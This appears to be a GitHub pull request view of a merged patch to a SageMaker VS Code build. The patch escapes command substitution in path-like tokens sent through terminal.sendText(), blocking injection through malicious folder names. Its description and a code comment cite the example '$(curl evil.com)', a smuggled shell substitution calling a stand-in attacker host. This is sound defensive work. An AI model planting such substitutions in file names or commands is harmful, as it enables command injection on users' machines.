Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
74 changes: 48 additions & 26 deletions patches/sagemaker/sanitize-terminal-sendtext-paths.diff
Original file line number Diff line number Diff line change
@@ -1,44 +1,66 @@
Sanitize folder paths in terminal sendText to prevent command injection
Sanitize command substitution in path-like segments of terminal sendText

Folder names containing shell metacharacters (e.g., $(curl evil.com))
can trigger command injection when extensions send commands like
"cd <path> && python file.py" via terminal.sendText(). This patch
sanitizes path segments in cd commands by escaping shell-dangerous
characters before the text is written to the terminal process.
File/folder names containing shell metacharacters (e.g., $(curl evil.com)
or `cmd`) can trigger command injection when extensions send commands via
terminal.sendText(). This patch escapes $() and backtick command
substitution patterns inside path-like tokens (both double-quoted and
unquoted) before the text is written to the terminal process.

Single-quoted paths are left alone since the shell does not interpret
special characters inside single quotes. Non-path tokens like $HOME in
"echo $HOME" are also left untouched to preserve intentional variable
usage.

Index: b/src/vs/platform/terminal/common/terminalEnvironment.ts
===================================================================
--- a/src/vs/platform/terminal/common/terminalEnvironment.ts
+++ b/src/vs/platform/terminal/common/terminalEnvironment.ts
@@ -126,3 +126,29 @@ export function sanitizeCwd(cwd: string)
@@ -126,3 +126,46 @@ export function sanitizeCwd(cwd: string)
export function shouldUseEnvironmentVariableCollection(slc: IShellLaunchConfig): boolean {
return !slc.strictEnv;
}
+
+/**
+ * Sanitize shell-dangerous characters in path segments of terminal commands.
+ * This targets command injection via malicious folder/file names containing
+ * shell metacharacters like $(), backticks, etc. that get interpolated when
+ * extensions send raw commands via terminal.sendText().
+ * Sanitize shell command substitution patterns in path-like segments
+ * of terminal commands to prevent injection via malicious folder/file names.
+ *
+ * The function identifies path-like segments following 'cd' commands and
+ * escapes shell metacharacters to prevent command substitution.
+ * Targets: $(...), ${...}, and `...` inside path-like tokens.
+ * A path-like token starts with /, ~/, ./, ../ or is a quoted string containing /.
+ */
+export function sanitizeCdPathsInCommand(text: string): string {
+ // Match 'cd' followed by a path, terminated by ; && || & or end of string
+ // This handles patterns like: cd /path/to/$(evil) && python file.py
+ return text.replace(
+ /\bcd\s+((?:[^\s;|&]|\\ )+)/g,
+ (_match: string, path: string) => {
+ // If the path is already properly quoted (single or double quotes), leave it alone
+ if (/^'.*'$/.test(path) || /^".*"$/.test(path)) {
+ return `cd ${path}`;
+ // Strip newlines and null bytes to prevent command injection via line splitting
+ let result = text.replace(/[\r\n\x00]/g, ' ');
+
+ // Handle double-quoted path segments: "...path..."
+ // Only escape command substitution patterns $( and ` and ${ — NOT bare $VAR
+ result = result.replace(
+ /"((?:[^"\\]|\\.)*\/(?:[^"\\]|\\.)*)"/g,
+ (_match: string, inner: string) => {
+ const sanitized = inner
+ .replace(/(?<!\\)\$\(/g, '\\$(')
+ .replace(/(?<!\\)\$\{/g, '\\${')
+ .replace(/(?<!\\)`/g, '\\`');
+ return `"${sanitized}"`;
+ }
+ );
+
+ // Handle unquoted path-like segments (any token containing /)
+ // This catches absolute, relative, and bare paths like foo/$(evil)/bar
+ result = result.replace(
+ /(?<=[\s;|&<>]|^)([^\s;|&<>]*\/[^\s;|&<>]*)/gm,
+ (pathToken: string) => {
+ // Skip already-quoted paths — handled above or safe (single quotes)
+ if (pathToken.startsWith("'") || pathToken.startsWith('"')) {
+ return pathToken;
+ }
+ // Escape shell metacharacters that enable command injection
+ const sanitized = path.replace(/([\$`!#&|;(){}<>])/g, '\\$1');
+ return `cd ${sanitized}`;
+ return pathToken
+ .replace(/(?<!\\)\$\(/g, '\\$(')
+ .replace(/(?<!\\)\$\{/g, '\\${')
+ .replace(/(?<!\\)`/g, '\\`');
+ }
+ );
+
+ return result;
+}
Index: b/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts
===================================================================
Expand All @@ -56,8 +78,8 @@ Index: b/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts
}

async sendText(text: string, shouldExecute: boolean, bracketedPasteMode?: boolean): Promise<void> {
+ // Sanitize shell command substitution patterns in cd path arguments
+ // to prevent command injection via malicious folder names (e.g., $(curl evil.com))
+ // Sanitize command substitution patterns ($(), ${}, ``) in path-like segments
+ // to prevent injection via malicious folder/file names (e.g., $(curl evil.com))
+ text = sanitizeCdPathsInCommand(text);
// Apply bracketed paste sequences if the terminal has the mode enabled, this will prevent
// the text from triggering keybindings and ensure new lines are handled properly
Expand Down
Loading